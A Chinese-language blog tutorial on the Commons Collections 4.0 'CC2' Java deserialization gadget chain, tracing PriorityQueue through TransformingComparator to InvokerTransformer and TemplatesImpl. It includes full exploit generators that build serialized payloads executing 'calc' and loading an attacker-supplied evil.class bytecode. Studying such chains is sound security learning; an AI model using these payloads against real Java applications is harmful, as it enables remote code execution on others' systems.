cc2链详解

  • 版本: jdk8u121
  • 依赖: Apache Commons Collections 4.0
1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>

书接上文,上一次和上上次我们学习templateImp链子和cc1链子,这两对于理解cc2链子都至关重要,那么直接步入正题

PriorityQueue利用链

回忆一下cc1链最重要的触发函数是哪个?->ChainedTransformer.transform

而这条链子也由此展开,我们寻找谁调用了transform这个函数(除了cc1的哪些以外)

发现了org.apache.commons.collections4.comparators.TransformingComparator这个类的compare函数,调用逻辑为:

1
2
3
4
5
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

我们查看一下transformer是否可控

1
2
3
4
public TransformingComparator(final Transformer<? super I, ? extends O> transformer, final Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}

可以看到公有构造函数对transformer进行了赋值,也就是说我们可控

再看有谁调用了compare函数,有非常的多,我们直接步入正题,选中java.util.PriorityQueue这个类,有两个函数调用了compare,分别是

  • siftUpUsingComparator
  • siftDownUsingComparator

调用代码:

siftUpUsingComparator

1
2
3
4
5
6
7
8
9
10
11
private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}

siftDownUsingComparator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

可以看到都调用了comparator属性的compare函数,我们查看comparator是否可控,发现其公有构造函数:

1
2
3
4
5
6
7
8
public PriorityQueue(int initialCapacity,Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}

明显可控

那我们继续,查看siftDownUsingComparator和siftUpUsingComparator的调用,发现

可以看到siftDown调用了siftDownUsingComparator,siftUp调用了siftUpUsingComparator

siftDown和siftUp的函数逻辑都一样:只要comparator属性不为空,就调用对应函数

继续寻找谁调用了siftDown或者siftUp发现heapify函数和offer函数

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}

具体逻辑循环i等于size属性逻辑左移-1,即i=size/2-1(不溢出的情况下),所以如果在这要调用到siftDown的话,size得保证大于等于2

再寻找谁调用了heapify函数,就能发现readObject了,函数实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

s.readInt();

queue = new Object[size];

for (int i = 0; i < size; i++)
queue[i] = s.readObject();

heapify();
}

这里并没有对size进行什么大的操作,那么就可以开始写exp了,至于offer函数,调用它的函数链只是一些队列处理函数,不涉及反序列化,所以先不考虑他,但是要记着这个函数,后面会提到他

开始写反序列化链子,目前为止是:

readObject->PriorityQueue.readObject->PriorityQueue.heapify->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator->TransformingComparator.compare->ChainedTransformer.transform

PQtest.java(fail)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package test;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
import java.util.PriorityQueue;

public class PQtest {
public static void main(String[] args) throws Exception{
ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class);
InvokerTransformer invokerTransformer1=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
InvokerTransformer invokerTransformer2=new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]});
InvokerTransformer invokerTransformer3=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Transformer[] Transformers=new Transformer[]{constantTransformer,invokerTransformer1,invokerTransformer2,invokerTransformer3};
Transformer chainedTransformer =new ChainedTransformer(Transformers);
TransformingComparator comparator=new TransformingComparator(chainedTransformer);

PriorityQueue priorityQueue=new PriorityQueue(2,comparator);
priorityQueue.offer("Nebu");
priorityQueue.offer("1ea");

//序列化
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(priorityQueue);
objectOutputStream.close();
byte[] bytes=byteArrayOutputStream.toByteArray();
String payload= Base64.getEncoder().encodeToString(bytes);
System.out.print(payload);
//反序列化
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
objectInputStream.close();
}
}


正常这样就行了,但是有个问题,如果我们想让size变大,就必须要往priorityQueue队列里面添加元素,那就必定要直接或间接的调用到offer函数,链子就直接触发了,导致根本生成不了payload,如下图:

那么有没有什么方法能往priorityQueue添加元素的同时不触发链子呢?有的兄弟,有的:)’

我们只需要先不把comparator放进去,先添加元素,加完后用反射修改priorityQueue的属性即可,具体实现为这样

1
2
3
4
5
PriorityQueue priorityQueue=new PriorityQueue(2,null);
priorityQueue.offer("Nebu");
priorityQueue.offer("1ea");
Field field=priorityQueue.getClass().getDeclaredField("comparator");
field.setAccessible(true);

这样就巧妙的解决了这个问题,接下来是成功的exp

PQtest.java(success)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package test;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class PQtest {
public static void main(String[] args) throws Exception{
ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class);
InvokerTransformer invokerTransformer1=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
InvokerTransformer invokerTransformer2=new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]});
InvokerTransformer invokerTransformer3=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Transformer[] Transformers=new Transformer[]{constantTransformer,invokerTransformer1,invokerTransformer2,invokerTransformer3};
Transformer chainedTransformer =new ChainedTransformer(Transformers);
TransformingComparator comparator=new TransformingComparator(chainedTransformer);

PriorityQueue priorityQueue=new PriorityQueue(2,null);
priorityQueue.offer("Nebu");
priorityQueue.offer("1ea");
Field field=priorityQueue.getClass().getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue,comparator);
//序列化
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(priorityQueue);
objectOutputStream.close();
byte[] bytes=byteArrayOutputStream.toByteArray();
String payload= Base64.getEncoder().encodeToString(bytes);
System.out.print(payload);
//反序列化
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
objectInputStream.close();
}
}

cc链调用TemplatesImpl

其实这并不是一个值得细细说的东西,因为触发链和之前的一模一样,只是最后InvokeTransformer.transformer变成了调用TemplateImp的getOutputProperties()或者newTransformer()

而在这种情况下,由ChainedTransformer将他们串联起来就太过于繁琐了,得找新的方法,我们重新回到调用compare函数的地方

siftDownUsingComparator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

之前我们利用ChainedTransformer串联的时候是不管传进transform的参数是什么东西的,而如果直接利用InvokeTransformer的话,就必须控制transform的参数为恶意的实例,也就是我们写的templateImp

那怎么控制呢?我们看到上方的代码,comparator.compare((E) c, (E) queue[right]) > 0),这个c是那里来的?

c=queue[child],queue队列的元素,序列号为k的逻辑左移加一,也就是k*2+1

那k又是从哪来的呢,我们看到

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

这里面的i就是传递下去的k,如果我们保证size=2的情况下,k就等于0,也就是说我们只要保证queue的第二个元素是我们的恶意实例即可,那我们再看queue是否可控,发现完全可控

那就开始写exp吧

templateTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;

public class templateTest {
public static String serialize(Object a) throws Exception{
ByteArrayOutputStream byteArrayInputStream=new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteArrayInputStream);
out.writeObject(a);
out.flush();
out.close();
byte[] serial=byteArrayInputStream.toByteArray();
String payload= Base64.getEncoder().encodeToString(serial);
return payload;
}
public static Object unserialize(String payload) throws Exception{
byte[] bytes=Base64.getDecoder().decode(payload);
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
Object obj = objectInputStream.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();

// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"Nebu1ea");

// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("D:\\WebSecurity\\CTF\\JAVA\\反序列化学习\\templateImpTest\\src\\main\\java\\test\\evil.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1);


//上方为创建恶意template实例

//newTransformer触发
// InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);
//getOutputProperties触发
InvokerTransformer invokerTransformer=new InvokerTransformer("getOutputProperties",null,null);

TransformingComparator comparator=new TransformingComparator(invokerTransformer);
//上方生成comparator

PriorityQueue priorityQueue=new PriorityQueue(2,null);
priorityQueue.offer("Nebu");
priorityQueue.offer("1ea");
Field field=priorityQueue.getClass().getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue,comparator);

Object[] queue=new Object[]{templates,templates};
Field field1=priorityQueue.getClass().getDeclaredField("queue");
field1.setAccessible(true);
field1.set(priorityQueue,queue);

String payload=serialize(priorityQueue);
unserialize(payload);
}
}

就此结束,Ciallo~~

更新于

请我喝[茶]~( ̄▽ ̄)~*

Nebu1ea 微信支付

微信支付

Nebu1ea 支付宝

支付宝

Nebu1ea 贝宝

贝宝